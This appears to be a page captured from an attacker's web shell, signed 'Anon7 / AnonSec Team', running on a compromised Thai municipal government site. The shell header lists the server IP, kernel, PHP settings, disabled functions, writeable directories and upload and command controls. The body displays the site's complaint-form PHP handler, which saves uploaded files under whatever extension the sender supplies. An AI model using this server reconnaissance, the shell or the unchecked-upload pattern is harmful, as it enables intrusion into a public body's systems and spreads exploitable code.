NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.216.232.138
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/main/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/main/action/save-subEService-Helping.php
<?php
require_once('../db_main.php');
header('Content-Type: text/html; charset=UTF-8');
date_default_timezone_set("Asia/Bangkok"); 
$datetime = date('d/m/Y H.i'); 

//// function Transparency BG
function setTransparency($new_image,$image_source){
    $transparencyIndex = imagecolortransparent($image_source);
    $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);
    if ($transparencyIndex >= 0) {
        $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);    
    }
    $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
    imagefill($new_image, 0, 0, $transparencyIndex);
    imagecolortransparent($new_image, $transparencyIndex);

} 

if(isset($_POST['g-recaptcha-response'])){
    $captcha = $_POST['g-recaptcha-response'];
    $response = json_decode(file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=".$gg_secretkey."&response=".$captcha."&remoteip=".$_SERVER['REMOTE_ADDR']), true);
    if(!$captcha){
        echo "<SCRIPT type='text/javascript'>
            alert('ส่งเรื่องร้องเรียน-ร้องทุกข์ ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [C-RECAPTCHA]');
            window.location.replace('../subEService-Helping#data');
            </SCRIPT>";
        exit;      
    }else if( $response['success'] == true ){

        if(!isset($_POST['txt_name']) or !isset($_POST['txt_ct_number']) or !isset($_POST['txt_ct_name']) or !isset($_POST['txt_ct_address']) or !isset($_POST['txt_ct_tel']) or !isset($_POST['txt_details']) ){
            echo "<SCRIPT type='text/javascript'>
                alert('กรอกข้อมูลให้ครบถ้วน');
                window.location.replace('../subEService-Helping#data');
            </SCRIPT>";
            exit;
        }else{
            $data_type ='ร้องเรียน-ร้องทุกข์';
            $data_name = $con_db_main->real_escape_string($_POST['txt_name']);
            $data_ct_number = $con_db_main->real_escape_string($_POST['txt_ct_number']);
            $data_ct_name = $con_db_main->real_escape_string($_POST['txt_ct_name']);
            $data_ct_address = $con_db_main->real_escape_string($_POST['txt_ct_address']);
            $data_ct_tel = $con_db_main->real_escape_string($_POST['txt_ct_tel']);
            $data_ct_email = $con_db_main->real_escape_string($_POST['txt_ct_email']);
            $data_details = $con_db_main->real_escape_string($_POST['txt_details']);
            $data_datetime = $con_db_main->real_escape_string($_POST['txt_datetime']);

            $insert_data = " INSERT INTO `data_complain`(`type_complain`, `name_complain`,  `ct_number_complain`, `ct_name_complain`, `ct_address_complain`, `ct_tel_complain`, `ct_email_complain`, `details_complain`, `datetime_complain`, `stt_complain` ) 
                        VALUES ('$data_type', '$data_name', '$data_ct_number', '$data_ct_name', '$data_ct_address', '$data_ct_tel', '$data_ct_email', '$data_details', '$data_datetime', '0' ) ";     
            $action_data = $con_db_main->query($insert_data);
            if(!$action_data){
                echo "<SCRIPT type='text/javascript'>
                        alert('ส่งเรื่องร้องเรียน-ร้องทุกข์ ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [1]');
                        window.location.replace('../subEService-Helping#data');
                        </SCRIPT>";
                exit;
            }else{
                if( empty($_FILES['uploadFile']['name'][0]) ){
                        echo "<SCRIPT type='text/javascript'>
                                alert('ส่งเรื่องร้องเรียน-ร้องทุกข์ สำเร็จ');
                                window.location.replace('../subEService-Helping#data');
                                </SCRIPT>";
                        exit;
                }else{
                    $total_filedoc = count($_FILES['uploadFile']['name']);

                    $sql_data = " SELECT `id_complain` FROM `data_complain` WHERE `name_complain`='$data_name' AND `ct_name_complain`='$data_ct_name' AND `datetime_complain`='$data_datetime' ORDER BY `id_complain` DESC LIMIT 1 "; 
                    $qr_data = mysqli_query($con_db_main, $sql_data); 
                    $rs_data = mysqli_fetch_assoc($qr_data); 
                    $id_tbdata_filedoc = $rs_data['id_complain'];

                    if($id_tbdata_filedoc !="" or isset($id_tbdata_filedoc) ){
                                
                        for($i=0;$i<$total_filedoc;$i++){

                            $filedoc = $_FILES["uploadFile"]["tmp_name"][$i];
                            $oldname_filedoc = trim($_FILES['uploadFile']['name'][$i]);
                            $type_filedoc = pathinfo($_FILES['uploadFile']['name'][$i],PATHINFO_EXTENSION);
                            $newname_filedoc = "FILECP".$id_tbdata_filedoc."_".$i.".".$type_filedoc;
                            $keep_filedoc = "../../doc/cp/";
                            $move_filedoc = $keep_filedoc.$newname_filedoc;
                            $path_filedoc = "doc/cp/".$newname_filedoc;
                            $width=1000;
                            if( exif_imagetype($filedoc) == IMAGETYPE_JPEG ) {
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromJPEG($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    ImageJPEG($filedoc_fin, $move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }elseif( exif_imagetype($filedoc) == IMAGETYPE_PNG ){
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromPNG($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    imagepng($filedoc_fin, $move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }elseif( exif_imagetype($filedoc) == IMAGETYPE_GIF ){
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromGIF($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    imagegif($filedoc_fin,$move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }else{
                                move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                            }

                            $insert_filedoc = " INSERT INTO `data_filedoc_complain`(`name_filedoc_complain`, `type_filedoc_complain`, `path_filedoc_complain`, `id_tbdata_filedoc_complain`, `typedata_filedoc_complain`)
                                                VALUES ('$oldname_filedoc', '$type_filedoc', '$path_filedoc', '$id_tbdata_filedoc', '$data_type' ) ";      
                            $action_filedoc = $con_db_main->query($insert_filedoc);
                            if(!$action_filedoc){
                                echo "<SCRIPT type='text/javascript'>
                                        alert('ส่งเรื่องร้องเรียน-ร้องทุกข์ ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [insert_filedoc]');
                                        window.location.replace('../subEService-Helping#data');
                                    </SCRIPT>";
                                exit;
                            }
                        }

                        echo "<SCRIPT type='text/javascript'>
                                alert('ส่งเรื่องร้องเรียน-ร้องทุกข์ สำเร็จ');
                                window.location.replace('../subEService-Helping#data');
                                </SCRIPT>";
                        exit;

                        
                    }else{
                        echo "<SCRIPT type='text/javascript'>
                                alert('ส่งเรื่องร้องเรียน-ร้องทุกข์ ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [2]');
                                window.location.replace('../subEService-Helping#data');
                                </SCRIPT>";
                        exit;
                    }
                }
            }
        }

    }else{
        echo "<SCRIPT type='text/javascript'>
            alert('ส่งเรื่องร้องเรียน-ร้องทุกข์ ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [C-RECAPTCHA-FALSE]');
            window.location.replace('../subEService-Helping#data');
            </SCRIPT>";
        exit;   
    }
}else{
    echo "<SCRIPT type='text/javascript'>
        alert('เกิดข้อผิดพลาด [C-NOTRECAPTCHA]');
        window.location.replace('../subEService-Helping#data');
        </SCRIPT>";
    exit;    
}
mysqli_close($con_db_main);
?>

Anon7 - 2022
AnonSec Team